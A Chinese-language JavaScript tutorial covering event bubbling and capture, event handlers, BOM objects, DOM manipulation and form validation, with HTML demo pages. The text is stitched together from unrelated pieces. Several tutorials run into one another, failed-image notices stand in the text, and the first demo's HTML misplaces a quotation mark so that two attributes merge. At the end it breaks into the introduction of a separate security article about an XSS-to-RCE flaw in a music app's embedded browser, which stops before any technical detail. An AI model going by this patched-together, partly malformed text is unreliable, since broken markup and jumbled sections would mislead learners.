考API地址:https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener#%E8%AF%AD%E6%B3%95
添加一個監聽事件,首先我們看一下API的語法如下
addEventListener(type, listener);
addEventListener(type, listener, options);
addEventListener(type, listener, useCapture);
常用到的是第一個和第三個因為,useCapture默認值是false
useCapture 可選
一個布爾值,表示在 DOM 樹中注冊了 listener 的元素,是否要先于它下面的 EventTarget 調用該 listener。當 useCapture(設為 true)時,沿著 DOM 樹向上冒泡的事件不會觸發 listener。當一個元素嵌套了另一個元素,并且兩個元素都對同一事件注冊了一個處理函數時,所發生的事件冒泡和事件捕獲是兩種不同的事件傳播方式。事件傳播模式決定了元素以哪個順序接收事件。進一步的解釋可以查看 DOM Level 3 事件及 JavaScript 事件順序文檔。如果沒有指定,useCapture 默認為 false。
這個值的作用有什么用呢?下面我開始了我的摸索和見解。廢話不多說開始上demo演示。
<!DOCTYPE html>
<html lang="zh-CN>
<head>
<meta charset=" UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
div {
padding: 15px;
border: 1px solid #e5f3fe;
position: relative;
overflow: hidden;
}
span {
background-color: #f2f1f1;
padding: 8px 15px;
margin: 15px;
display: inline-block;
}
.description {
font-size: 22px;
font-weight: 600;
}
</style>
</head>
<body>
<p class="description">
ok 兄弟你每次點擊“節點2” 就會發現這個參數的不同點了。是不是 它的觸發順序出現了不同 對 就是這樣的。
</p>
<label>
<input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
useCapture=false
</label>
<label>
<input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
useCapture=true
</label>
<div title="節點1">
<span>節點1</span>
<div title="節點2">
<span>節點2</span>
</div>
</div>
<script>
// 個人總結:false的話 就是事件冒泡了 從子元素到父元素
// true的話 就是事件捕獲 從父到子!
let useCapture=false
// 添加事件
function bindEvent() {
const targets=document.querySelectorAll('div')
targets.forEach(element=> {
element.addEventListener('click', handleClick, useCapture)
});
}
// 移除事件
function removeEvent() {
const targets=document.querySelectorAll('div')
targets.forEach(element=> {
element.removeEventListener('click', handleClick, useCapture)
});
}
// div click handle
function handleClick(event){
// event.stopPropagation()
alert(this.getAttribute('title'))
}
// 處理 radio change
function radioChange(checked) {
removeEvent()
console.log('radioChange')
console.log(checked)
useCapture=checked=="true" ? true : false
bindEvent()
}
// 執行綁定事件
bindEvent()
</script>
</body>
</html>
demo運行起來是這樣的效果
demo運行起來是這樣的效果
我們發現當div或者出發事件的元素存在嵌套的情況下,這個是控制事件的執行順序的。useCapture=false默認是冒泡,冒泡怎么理解呢就是水里的泡泡往上冒么,那么就是從子元素王父元素執行。
Capture=true就是捕獲點擊一下先相應父級元素的事件,然后傳遞到子元素。也就是先執行父的事件在執行子的事件。
還有一個就是阻止事件冒泡的 event.stopPropagation();
API文檔地址:https://developer.mozilla.org/zh-CN/docs/Web/API/Event/stopPropagation
我們改動一下我們的DEMO再看看
<!DOCTYPE html>
<html lang="zh-CN>
<head>
<meta charset=" UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
div {
padding: 15px;
border: 1px solid #e5f3fe;
position: relative;
overflow: hidden;
}
span {
background-color: #f2f1f1;
padding: 8px 15px;
margin: 15px;
display: inline-block;
}
.description {
font-size: 22px;
font-weight: 600;
}
</style>
</head>
<body>
<p class="description">
ok 兄弟你每次點擊“節點2” 就會發現這個參數的不同點了。是不是 它的觸發順序出現了不同 對 就是這樣的。
</p>
<label>
<input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
useCapture=false
</label>
<label>
<input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
useCapture=true
</label>
<div title="節點1">
<span>節點1</span>
<div title="節點2">
<span>節點2</span>
</div>
</div>
<script>
// 個人總結:false的話 就是事件冒泡了 從子元素到父元素
// true的話 就是事件捕獲 從父到子!
let useCapture=false
// 添加事件
function bindEvent() {
const targets=document.querySelectorAll('div')
targets.forEach(element=> {
element.addEventListener('click', handleClick, useCapture)
});
}
// 移除事件
function removeEvent() {
const targets=document.querySelectorAll('div')
targets.forEach(element=> {
element.removeEventListener('click', handleClick, useCapture)
});
}
// div click handle
function handleClick(event){
event.stopPropagation()
alert(this.getAttribute('title'))
}
// 處理 radio change
function radioChange(checked) {
removeEvent()
console.log('radioChange')
console.log(checked)
useCapture=checked=="true" ? true : false
bindEvent()
}
// 執行綁定事件
bindEvent()
</script>
</body>
</html>
發現事件觸發了以后,就不再冒泡或者繼續往子元素傳遞了。這是我的理解和簡介歡迎大家拍磚。
事件 (Event) 是 JavaScript 應用跳動的心臟 ,進行交互,使網頁動起來。當我們與瀏覽器中 Web 頁面進行某些類型的交互時,事件就發生了。事件可能是用戶在某些內容上的點擊、鼠標經過某個特定元素或按下鍵盤上的某些按鍵。事件還可能是 Web 瀏覽器中發生的事情,比如說某個 Web 頁面加載完成,或者是用戶滾動窗口或改變窗口大小。
? 通過使用 JavaScript ,你可以監聽特定事件的發生,并規定讓某些事件發生以對這些事件做出響應。
(1)驗證用戶輸入的數據。
(2)增加頁面的動感效果。
(3)增強用戶的體驗度
事件源: 誰觸發的事件
事件名: 觸發了什么事件
事件監聽: 誰管這個事情,誰監視?
事件處理:發生了怎么辦
例如
闖紅燈 事件源:車 ; 事件名: 闖紅燈; 監聽:攝像頭、交警 ; 處理:扣分罰款
單擊按鈕 事件源:按鈕; 事件名: 單擊; 監聽:窗口 ; 處理:執行函數
? 當我們用戶在頁面中進行的點擊動作,鼠標移動的動作,網頁頁面加載完成的動作等,都可以稱之為事件名稱,即:click、mousemove、load 等都是事件名稱,具體的執行代碼處理,響應某個事件的函數。
<body onload="loadWindow();"></body>
<script>
function loadWindow(){
alert("加載窗體");
}
</script>
? JavaScript可以處理的事件類型為:鼠標事件、鍵盤事件、HTML事件。
? http://www.w3school.com.cn/tags/html_ref_eventattributes.asp 用+查
? Window 事件屬性:針對 window 對象觸發的事件(應用到 標簽)
? Form 事件:由 HTML 表單內的動作觸發的事件(應用到幾乎所有 HTML 元素,但最常用在 form 元素中)
? Keyboard 事件 : 鍵盤事件
? Mouse 事件:由鼠標或類似用戶動作觸發的事件
? Media 事件:由媒介(比如視頻、圖像和音頻)觸發的事件(適用于所有 HTML 元素,但常見于媒介元素中,比如 、、、 以及 )
? 幾個常用的事件:
? onclick 、onblur 、onfocus 、onload 、onchange
? onmouseover、onmouseout、onkeyup、onkeydown
onload:當頁面或圖像加載完后立即觸發
onblur:元素失去焦點
onfocus:元素獲得焦點
onclick:鼠標點擊某個對象
onchange:用戶改變域的內容
onmouseover:鼠標移動到某個元素上
onmouseout:鼠標從某個元素上離開
onkeyup:某個鍵盤的鍵被松開
onkeydown:某個鍵盤的鍵被按下
? 我們的事件最后都有一個特定的事件源,暫且將事件源看做是HTML的某個元素,那么當一個HTML元素產生一個事件時,該事件會在元素節點與根節點之間按特定的順序傳播,路徑所經過的節點都會受到該事件,這個傳播過程稱為DOM事件流。
? 事件順序有兩種類型:**事件捕獲 **和 事件冒泡。
? 冒泡和捕獲其實都是事件流的不同表現,這兩者的產生是因為IE和Netscape兩個大公司完全不同的事件流概念產生的。(事件流:是指頁面接受事件的順序)IE的事件流是事件冒泡,Netscape的事件流是事件捕獲流。
? IE的事件流叫做事件冒泡,即事件開始時由最具體的元素接受,然后逐級向上傳播到較為不具體的節點(文檔)。例如下面的:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>JavaScript</title>
</head>
<body>
<div id="myDiv">Click me</div>
</body>
</html>
? 如果點擊了頁面中的
元素,那么這個click事件會按照如下順序傳播:
? 1、
? 2、
? 3、
? 4、document
? 也就是說,click事件首先在div元素上發生,而這個元素就是我們單擊的元素。然后,click事件沿DOM樹向上傳播,在每一級節點上都會發生,直到傳播到document對象。
? 所有現代瀏覽器都支持事件冒泡,但在具體實現上還是有一些差別。
? Netscape提出的另一種事件流叫做事件捕獲,事件捕獲的思想是不太具體的節點應該更早接收到事件,而最具體的節點應該最后接收到事件。事件捕獲的用意在于在事件到達預定目標之前捕獲它。還以前面的例子為例。那么單擊
元素就會按下列順序觸發click事件:
? 1、document
? 2、
? 3、
? 4、
? 在事件捕獲過程中,document對象首先接收到click事件,然后沿DOM樹依次向下,一直傳播到事件的實際目標,即
元素。
? 雖然事件捕獲是Netscape唯一支持的事件流模式,但很多主流瀏覽器目前也都支持這種事件流模型。盡管“DOM2級事件”規范要求事件應該從document對象開始時傳播,但這些瀏覽器都是從window對象開始捕獲的。
? “DOM2級事件”規定的事件流包括三個階段:事件捕獲階段、處于目標階段和事件冒泡階段。首先發生的是事件捕獲階段,為截獲事件提供了機會。然后是實際的目標接收到事件。最后一個階段是冒泡階段,可以在這個階段對事件做出響應。
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-8WOxp342-1608883565334)(/圖片1dfgh.png)]
? 事件就是用戶或瀏覽器自身執行的某種動作。例如click、load和mouseover都是事件的名字,而響應某個事件的函數就叫做事件處理程序(或事件偵聽器)。事件處理程序的名字以“on”開頭,因此click事件的事件處理程序就是onclick,為事件指定處理程序的方式有好幾種。
? 某個元素支持的每種事件,都可以用一個與相應事件處理程序同名的HTML特性來指定。這個特性的值應該是能夠執行的JavaScript代碼:
<input type="button" value="Press me" onclick="alert('thanks');" />
? 這樣做有一些缺點,例如耦合度過高,還可能存在時差問題(當用戶點擊按鈕時,處理函數還未加載到,此時處理函數是單獨寫的一段js代碼),而且在不同的瀏覽器上可能會有不同的效果。
? 通過JavaScript指定事件處理程序的傳統方式,就是將一個函數賦值給一個事件處理程序屬性。這種方式被所有現代瀏覽器所支持。這種方式首先必須取得一個要操作的對象的引用,每個元素都有自己的事件處理程序屬性,這些屬性通常全都小寫,例如onclick,然后將這種屬性的值設為一個函數,就可以指定事件處理程序了。例如:
<body>
<button id="myBtn">按鈕</button>
<script type="text/javascript">
var btn=document.getElementById('myBtn');
btn.onclick=function(){
console.log('you click a button');
}
</script>
</body>
? 以這種方式添加的事件處理程序會在事件流的冒泡階段被處理。而且,只能為同一個元素的同一個事件設定一個處理程序(覆蓋),也可以通過刪除DOM0級方法指定的事件處理程序,只要將屬性值設為null即可:
btn.onclick=null;
? “DOM2級事件”定義了兩個方法,用于處理指定和刪除事件處理程序的操作:addEventListener()和removeEventListener()。所有DOM節點都包含這兩個方法,并且他們都接受3個參數:要處理的事件名、作為事件處理程序的函數和一個布爾值。最后這個布爾值參數如果是true,則表示在捕獲階段調用事件處理程序;如果是false則表示在冒泡階段調用事件處理程序。
<body>
<button id="myBtn">按鈕</button>
<script type="text/javascript">
var btn=document.getElementById('myBtn')
btn.addEventListener('click',function(){
alert('you add a eventListener by DOM2')
},false)
btn.addEventListener('click',function(){
alert('you add a eventListener by DOM2 again')
},false)
function thread(){
alert('you add a eventListener by DOM2 第三次')
}
btn.addEventListener('click',thread,false)
btn.removeEventListener('click',thread,false)
</script>
</body>
? 這種方式可以為同一個元素的同一個事件添加多個處理函數。還可刪除事件處理函數,注意,在刪除的時候,不能刪除匿名處理函數。
1. 常用的幾種事件
2. 綁定事件的幾種方式
? BOM的核心對象是window,它表示瀏覽器的一個實例。window對象有雙重角色,它既是通過JavaScript訪問瀏覽器窗口的一個接口,又是ECMAScript規定的Global對象。這意味著在網頁中定義的任何一個對象、變量和函數,都以window作為其Global對象,因此有權訪問parseInt()等方法。如果頁面中包含框架,則每個框架都擁有自己的window對象,并且保存在frames集合中。在frames集合中,可以通過數值索引(從0開始,從左至右,從上到下)或者框架的名稱來訪問相應的window對象。
? 瀏覽器通過(實際是window對象的方法)alert()、confirm()、prompt()方法可以調用系統對話框向用戶顯示消息。
(1)消息框:alert, 常用。
alert() 方法用于顯示帶有一條指定消息和一個 OK 按鈕的警告框。
(2)輸入框:prompt,返回提示框中的值。
prompt() 方法用于顯示可提示用戶進行輸入的對話框。
參數(可選):
第一個參數:要在對話框中顯示的純文本。
第二個參數:默認的輸入文本。
(3)確認框:confirm,返回 true/false.
confirm() 方法用于顯示一個帶有指定消息和 OK 及取消按鈕的對話框。
<style type="text/css">
#aa{
border: 1px solid red;
height: 100px;
}
</style>
<body>
<div id="aa">
This is a div
</div>
<button onclick="testAlert();">警告</button>
<button onclick="testComfirm();">修改</button>
<button onclick="testPrompt();">輸入</button>
<script type="text/javascript">
// 1.警告框
function testAlert(){
alert('警告框!!!');
}
/*
2.輸入框
返回值:輸入的內容
* */
function testPrompt(){
var item=prompt('請輸入年齡'); // item得到輸入的值
// console.log(item)
// alert(prompt('請輸入年齡',18)); // 將輸入的值輸出
}
/*
3.確認框
返回值:boolean(true|false)
* */
function testComfirm(){
var result=confirm('真的要改嗎?');
if(result){
var ele=document.getElementById("aa");
ele.style.color="red";
ele.innerHTML="<span>fdsfsd</span>";
}else{
alert("沒事別瞎點。。。");
}
}
</script>
</body>
? window.open()方法既可以導航到一個特定的URL也可以用來打開一個新的窗口
<script type="text/javascript">
function openBaidu(){
window.open('http://www.baidu.com','_self'); // _self、_blank等
// window.open(); //空白窗口
}
</script>
<input type="button" name="open" value="百度" onclick='openBaidu();' />
? window.close():關閉窗口。
? 例:點擊按鈕關閉當前窗口。
<input type="button" value="關閉窗口" onclick="window.close();" />
? setTimeout() : 在指定的毫秒數后調用函數或計算表達式。返回一個唯一的標識;也可以通過返回的標識cliearTimeout(id): 來清除指定函數的執行。
var id=setTimeout(function,times);
clearTimeout(id);
示例:
<script type="text/javascript">
// 延遲3 秒后出現 alert
function hello() {
alert("對不起, 要你久候");
}
setTimeout("hello()", 3000);
// 時間顯示器
var timeout;
function init(){
// 拿到當前時間
var date=new Date();
var time=date.toLocaleString();
// 拿到相應對象
var h1=document.getElementById('h1');
// 根據需求添加樣式
if(0==date.getSeconds()){ // 當時間的秒數變成0時,顯示紅色字體
h1.innerHTML='<span style="color:red">' + time + '</span>';
} else {
h1.innerHTML=time;
}
/*
* 定時操作,只執行一次
第一個參數:執行的方法;第二個參數:定時,單位是毫秒
* */
setTimeout(init,1000); // 等多少時間來執行
}
// window.setTimeout(init,1000);// 只執行一次
// 停止操作
function stopShow () {
clearTimeout(timeout);
}
</script>
<body onload="init();">
<h1 id="h1"></h1>
<button onclick="stopShow()">時間停止</button>
</body>
? 在times毫秒后執行function指定的方法,執行之前也可以取消
? setInterval():可按照指定的周期(以毫秒計)來調用函數或計算表達式,也可根據返回的標識用來結束。該方法會不停地調用函數,直到 clearInterval() 被調用或窗口被關閉。
var id=setInterval(function,times);
clearInterval(id);
function test(){
console.log(".....");
}
// window是一個全局對象,通過全局對象調用setInterval()函數
window.setInterval(test,1000);
? history 對象是歷史對象。包含用戶(在瀏覽器窗口中)訪問過的 URL。history 對象是 window 對象的一部分,可通過 window.history 屬性對其進行訪問。
? history對象的屬性:length,返回瀏覽器歷史列表中的 URL 數量。
? history對象的方法:
? back():加載 history 列表中的前一個 URL。
? forward():加載歷史列表中的下一個 URL。當頁面第一次訪問時,還沒有下一個url。
? go(number|URL): URL 參數使用的是要訪問的 URL。而 number 參數使用的是要訪問的 URL 在 History 的 URL 列表中的相對位置。go(-1),到上一個頁面
013-history.html
<body>
<a href="013-history-a.html">013-history-a.html</a>
<h1>我是第一個頁面</h1>
<input type="button" value="前進" onclick="window.history.forward();" />
<script>
console.log(window.history);
</script>
</body>
013-history-a.html
<body>
<a href="013-history-b.html">013-history-b.html</a>
<h1>我是A頁面</h1>
<input type="button" value="后退" onclick="window.history.back();"/>
</body>
013-history-b.html
<body>
<h1>我是B頁面</h1>
<input type="button" value="第一個頁面" onclick="window.history.go(-2);"/>
<input type="button" value="后退" onclick="window.history.back();"/>
</body>
? location 對象是window對象之一,提供了與當前窗口中加載的文檔有關的信息,還提供了一些導航功能。也可通過 window.location 屬性來訪問。
? location 對象的屬性 href:設置或返回完整的 URL
? location 對象的方法
? reload():重新加載當前文檔。
? replace():用新的文檔替換當前文檔。
<script type="text/javascript">
function openBaidu(){
// 沒有歷史記錄,用新的文檔替換當前文檔
// window.location.replace("http://www.baidu.com");
// console.log(window.location.href); // 獲取完整的url
window.location.href="http://www.baidu.com";
}
</script>
<body>
<input type="text" value="" />
<input type="button" value="刷新" onclick="window.location.reload();" />
<input type="button" value="百度" onclick="openBaidu();" />
</body>
? DOM:Document Object Model 文檔對象模型
? 要實現頁面的動態交互效果,bom 操作遠遠不夠,需要操作 html 才是核心。如何操作 htm,就是 DOM。簡單的說,dom 提供了用程序動態控制 html 接口。DOM即文檔對象模型描繪了一個層次化的節點樹,運行開發人員添加、移除和修改頁面的某一部分。dom 處于javascript 的核心地位上。
? 每個載入瀏覽器的 HTML 文檔都會成為 Document 對象。Document 對象使我們可以從腳本中對 HTML 頁面中的所有元素進行訪問。Document 對象是 Window 對象的一部分,可通過 window.document 屬性對其進行訪問。
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-BShAnTK7-1608883565338)(/圖片1trj.png)]
? 加載 HTML 頁面時,Web 瀏覽器生成一個樹型結構,用來表示頁面內部結構。DOM 將這種樹型結構理解為由節點組成,組成一個節點樹。對于頁面中的元素,可以解析成以下幾種類型的節點:
節點類型HTML內容例如文檔節點文檔本身整個文檔 document元素節點所有的HTML元素、、
屬性節點HTML元素內的屬性id、href、name、class文本節點元素內的文本hello注釋節點HTML中的注釋
? html --> 文檔節點
? div --> 元素節點
? title --> 屬性節點
? 測試 Div --> 文本節點
<html>
<head>
<title>樹!樹!到處都是樹!</title>
</head>
<body>
<div title="屬性節點">測試 Div</div>
</body>
</html>
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-AVMijlup-1608883565345)(/圖片1fdgfh.png)]
? 當HTML文檔在被解析為一顆DOM樹以后,里面的每一個節點都可以看做是一個一個的對象,我們稱為DOM對象,對于這些對象,我們可以進行各式各樣的操作,查找到某一個或者一類節點對象,可以創建某種節點對象,可以在某個位置添加節點對象,甚至可以動態地刪除節點對象,這些操作可以使我們的頁面看起來有動態的效果,后期結合事件使用,就能讓我們的頁面在特定時機、特定的事件下執行特定的變換。
? 在進行增、刪、改的操作時,都需要指定到一個位置,或者找到一個目標,此時我們就可以通過Document對象提供的方法,查找、定位某個對象(也就是我們說的節點)。
? 注意:操作 dom 必須等節點初始化完畢后,才能執行。
? 處理方式兩種:
? (1)把 script 調用標簽移到html末尾即可;
? (2)使用onload事件來處理JS,等待html 加載完畢再加載 onload 事件里的 JS。
window.onload=function () { //預加載 html 后執行};
? 獲取方式如下:
方法描述getElementById()根據id獲取dom對象,如果id重復,那么以第一個為準getElementsByTagName()根據標簽名獲取dom對象數組getElementsByClassName()根據樣式名獲取dom對象數組getElementsByName()根據name屬性值獲取dom對象數組,常用于多選獲取值
<body>
<p id="p1" class="para">這是一個段落<span>文本</span></p>
<p id="p1" class="para">這又是一個段落</p>
<input type="text" name="txt" />
<input type="checkbox" name="hobby" value="游泳" />游泳
<input type="checkbox" name="hobby" value="籃球" />籃球
<input type="checkbox" name="hobby" value="足球" />足球
<hr />
<a href="javascript:void(0)" onclick="testById()">按照id獲取</a>
<a href="javascript:void(0)" onclick="testByName()">按照name獲取</a>
<a href="javascript:void(0)" onclick="testByTagName()">按照標簽名獲取</a>
<a href="javascript:void(0);" onclick="testByClass();">按照class獲取</a>
</body>
? 說明:href=“javascript:void(0)”:偽協議,表示不執行跳轉,而執行指定的點擊事件。
<script type="text/javascript">
// 按照id獲取元素
function testById() {
// 返回單個對象
var p=document.getElementById("p1");
console.log(p);
// 表示獲取元素開始標簽和結束標簽之間的html結構
console.log(p.innerHTML);
console.log(p.innerText); // 表示獲取標簽之間的普通文本
}
// 按照name獲取元素
function testByName() {
// 對象數組
var ho=document.getElementsByName("hobby");
console.log(ho);
for(var i=0; i <=ho.length - 1; i++) {
console.log(ho[i].value);
}
}
// 按照標簽名獲取元素
function testByTagName() {
// 對象數組
var inputArr=document.getElementsByTagName("input");
for(var i=0; i < inputArr.length; i++) {
if(inputArr[i].type=="text") {
console.log("text類型");
} else if(inputArr[i].type=="checkbox") {
if(inputArr[i].checked) {
console.log(inputArr[i].value);
}
}
}
}
// 按照class屬性獲取元素
function testByClass() {
// 對象數組
var ps=document.getElementsByClassName("para");
console.log(ps[0].innerHTML);
ps[0].innerHTML +="這是一段新的文本";
}
</script>
? 很多時候我們想要在某個位置插入一個新的節點,此時我們首先需要有一個節點存在,可以通過以下幾種方式創建新節點。
方法描述createElement()創建一個新的節點,需要傳入節點的標簽名稱,返回創建的元素對象createTextNode()創建一個文本節點,可以傳入文本內容innerHTML也能達到創建節點的效果,直接添加到指定位置了
方法描述write()將任意的字符串插入到文檔中appendChild()向元素中添加新的子節點,作為最后一個子節點insertBefore()向指定的已有的節點之前插入新的節點newItem:要插入的節點exsitingItem:參考節點 需要參考父節點
<button onclick="add()">添加段落</button>
<div id="container"></div>
<script type="text/javascript">
function add(){
var container=document.getElementById('container')
var paragraph=document.createElement('p');
var txt=document.createTextNode('hello')
paragraph.appendChild(txt)
container.appendChild(paragraph)
}
</script>
添加 “段落、圖片、文本框、選項”
<body>
<button onclick="addPara();">添加段落</button>
<button onclick="addImg();">添加圖片</button>
<button onclick="addTxt();">添加文本框</button>
<button onclick="addOptions()">添加選項</button>
<select name="music">
<option value="-1">你心內的一首歌</option>
<option value="0">南山南</option>
<option value="1">喜歡你</option>
</select>
<hr />
<div id="container"></div>
</body>
<script type="text/javascript">
// 添加p節點
function addPara(){
// 獲取容器
var container=document.getElementById("container");
// 創建段落<p></p>
var p=document.createElement('p');
// 第一種方式
// 創建文本節點
var txt=document.createTextNode("以后的你會感謝現在努力的你");
// 將txt節點追加到p節點中
p.appendChild(txt);
// 將p節點追加到container節點中
container.appendChild(p);
/*
// 第二種方式
// 向p節點中添加內容
p.innerHTML="以后的你會感謝現在努力的你";
// 將p節點追加到container節點中
container.appendChild(p);
*/
/*
// 第三種方式
// 將字符串類型的p標簽內容添加到container中,不會添加多次
var str="<p>以后的你會感謝現在努力的你</p>";
container.innerHTML=str;
*/
}
// 添加圖片
function addImg(){
// 創建圖片
var img=document.createElement("img") ;
/*
// 設置屬性第一種方式
// 設置img標簽的src屬性
// img.src="http://www.baidu.com/img/bd_logo1.png";
*/
// 設置屬性第二種方式
// setAttribute() 方法添加指定的屬性,并為其賦指定的值。
// 設置img的src屬性
img.setAttribute('src','http://www.baidu.com/img/bd_logo1.png');
img.style.width='300px';
img.style.height='200px';
// 獲取容器
var container=document.getElementById("container");
// 將img節點追加到container中。
container.appendChild(img);
}
// 添加文本框
function addTxt(){
// 創建文本框
var txt=document.createElement("input");
/*
// 設置類型第一種方式
txt.type="text";
txt.value="添加成功";
*/
// 設置類型第二種方式
txt.setAttribute('type', 'text');
txt.setAttribute('value', '添加成功');
/*
* txt.type='password'
* txt.value='123'
*/
// 獲取容器
var container=document.getElementById("container");
// 將txt節點追加到container中。
container.appendChild(txt);
}
// 添加下拉框的選項
function addOptions(){
// 第一種方式
/*
// 創建下拉項
var option=document.createElement("option") ;
option.value="2" ;
option.text="油菜花" ;
// 獲取下拉框
var sel=document.getElementsByTagName("select")[0];
// 添加 下拉項
sel.appendChild(option);
*/
// 第二種方式:
var option=document.createElement("option") ;
option.value="2" ;
option.text="不該" ;
// 獲取下拉框
var sel=document.getElementsByTagName("select")[0];
// 添加下拉項
sel.options.add(option);
// 第三種方式: 添加下拉項
var sel=document.getElementsByTagName("select")[0];
sel.innerHTML +="<option value='2'>英雄</option>" ;
}
</script>
方法|屬性描述childNodes返回元素的一個子節點的數組firstChild返回元素的第一個子節點lastChild返回元素的最后一個子節點nextSibling返回元素的下一個兄弟節點parentNode返回元素的父節點previousSibling返回元素的上一個兄弟節點
方法|屬性描述removeChild()從元素中移除子節點
<script type="text/javascript">
function delNode(){
var programmer=document.getElementById("programmer");
// 從父元素中刪除節點,獲取要刪除對象的父元素,然后從父元素中刪除該對象
programmer.parentNode.removeChild(programmer);
}
</script>
<body>
<span id="programmer">程序猿</span>
<a href="javascript:void(0)" onclick="delNode();">刪除</a>
</body>
? 表單是我們頁面向后臺傳輸數據的一種非常常見的方式,在進行數據發送(請求發出)之前,我們應該現在頁面進行一系列數據合法性的驗證,節省不必要的錯誤數據的傳輸,以及提高用戶的體驗度。
前兩種常用
1、document.表單名稱
2、document.getElementById(表單 id);
3、document.forms[表單名稱]
4、document.forms[索引]; //從 0 開始
例如:
<body>
<form id='myform' name="myform" action="" method="post"></form>
<form id='myform2' name="myform2" action="" method="post"></form>
</body>
<script>
//四種方式
var form=document.getElementById("myform");
form=document.myform;
form=document.forms["myform"];
form=document.forms[0];
console.log(form);
</script>
? 如 text password hidden textarea等,前兩種常用。
1)、通過 id 獲取:document.getElementById(元素 id);
2)、通過 form.名稱形式獲取: myform.元素名稱; name屬性值
3)、通過 name 獲取 :document.getElementsByName(name屬性值)[索引] // 從0開始
4)、通過 tagName 數組 :document.getElementsByTagName('input')[索引] // 從0開始
<body>
<form id='myform' name="myform" action="" method="get">
姓名:<input type="text" id="uname" name="uname" value="zs"/><br />
密碼:<input type="password" id="upwd" name="upwd" value="1234"/><br />
<input type="hidden" id="uno" name="uno" value="隱藏域" />
個人說明:<textarea name="intro"></textarea>
<button type="button" onclick="getTxt();" >獲取元素內容</button>
</form>
</body>
<script>
function getTxt(){
var uno=document.getElementById("uno");
var uname=myform.uname;
console.log(uname + "--------");
var upwd=document.getElementsByTagName('input')[1] ;
var intro=document.getElementsByName("intro")[0];
console.log(uno.value +","+ uname.value +","+ upwd.value +","+ intro.value);
}
</script>
? 前提:將一組單選按鈕設置相同的name屬性值
? (1)獲取單選按鈕組:
document.getElementsByName("name屬性值");
(2)遍歷每個單選按鈕,并查看單選按鈕元素的checked屬性
? 若屬性值為true表示被選中,否則未被選中
? 選中狀態設定: checked=‘checked’ 或 checked=‘true’ 或 checked
? 未選中狀態設定: 沒有checked屬性 或 checked=‘false’
<form action="" name="myform">
<input type="text" name="inputName" value="aaa" />
<input type="radio" name="rad" value="1" /> 1
<input type="radio" name="rad" value="2" /> 2
</form>
<script type="text/javascript">
var radios=document.getElementsByName('rad');
//radios[0].checked='checked'
for(var i=0; i<radios.length; i++){
console.log(radios[i].checked + '---' + radios[i].value)
}
</script>
? 操作方式與單選同理,不同之處在于可以多選
var ufav=document.getElementsByName("ufav");
var favstr="";
for (i=0;i < ufav.length; i++){
if(ufav[i].checked){
favstr +=ufav[i].value+",";
}
}
favstr=favstr.substr(0,favstr.length-1);
? (1)獲取 select 對象:
var ufrom=document.getElementById("ufrom");
? (2)獲取選中項的索引:
var idx=ufrom.selectedIndex;
? (3)獲取選中項 options 的 value屬性值:
var val=ufrom.options[idx].value;
? 注意:當通過options獲取選中項的value屬性值時,
? 若沒有value屬性,則取option標簽的內容
? 若存在value屬性,則取value屬性的值
? (4)獲取選中項 options 的 text:
var txt=ufrom.options[idx].text;
? 選中狀態設定:selected=‘selected’、selected=true、selected
? 未選中狀態設定:不設selected屬性
<body onload="init()">
<form id='myform' name="myform" action="" method="">
來自:
<select id="ufrom" name="ufrom">
<option value="-1" >請選擇</option>
<option value="0" selected="selected">北京</option>
<option value="1">上海</option>
</select><br />
<button type="button" id="sub" name="sub">提交</button>
</form>
</body>
<script>
function init () {
var sub=document.getElementById("sub");
sub.onclick=function () {
//獲取select對象
var ufrom=document.getElementById("ufrom");
console.log("表單對象:" + ufrom);
//獲取選中的索引
var idx=ufrom.selectedIndex;
console.log("選中項的索引值:" + idx);
//獲取選中項的value值
var val=ufrom.options[idx].value;
console.log("選中項的value屬性值:" + val);
//獲取選中項的text
var txt=ufrom.options[idx].text;
console.log("選中項的text:" + txt);
}
}
</script>
? (1)使用普通button按鈕+onclick事件+事件中編寫代碼:
獲取表單.submit();
(2)使用submit按鈕 + onclick="return 函數()" +函數編寫代碼:
? 最后必須返回:return true|false;
(3)使用submit按鈕/圖片提交按鈕 + 表單onsubmit="return 函數();" +函數編寫代碼:
? 最后必須返回:return true|false;
<form id='myform1' name="myform2" action="#" method="get" onsubmit="return onsub();">
<input name="test" id="uname"/><span id="msg"></span><br />
<!--通過js事件:sub()提交表單-->
<input type="button" onclick="sub();" value="提交表單1" />
<input type="submit" onclick="return sub2();" value="提交表單2" />
<input type="submit" value="提交onsubmit" /><br />
<input type="image" src="img/u=71331624,2965806045&fm=23&gp=0.jpg"
width="60px" height="40px" />
</form>
<script type="text/javascript">
// input的type=button,調用submit()方法提交
function sub(){
document.myform2.submit();
}
// 進行校驗,返回值為true才能提交
function sub2(){
var uname=document.getElementById("uname");
var val=uname.value;
if(val.length>0){
return true; // 提交
}
document.getElementById("msg").innerHTML="不能空著啊!!!";
document.getElementById("msg").style.color="red";
return false; // 不提交
}
// onsubmit事件提交
function onsub () {
var uname=document.getElementById("uname");
var val=uname.value;
if(val.length>0){
return true; // 提交
}
document.getElementById("msg").innerHTML="填寫點兒東西唄!(ˉ▽ ̄~) 切~~";
document.getElementById("msg").style.color="red";
return false; // 不提交
}
</script>
Author: Wfox@360RedTeam
前面章節講解了應用程序是如何與網頁進行交互的,接下來章節分析通用軟件歷史漏洞,通過真實漏洞案例分析去了解嵌入式瀏覽器安全的攻擊面。本章節講的是網易云音樂rce漏洞分析,一個經典的XSS to RCE漏洞。
往期文章回顧: 1. 《嵌入式瀏覽器安全之初識Cef》
cef瀏覽器中加載web網頁訪問通常分為兩種,分別是遠程資源加載、本地資源加載。
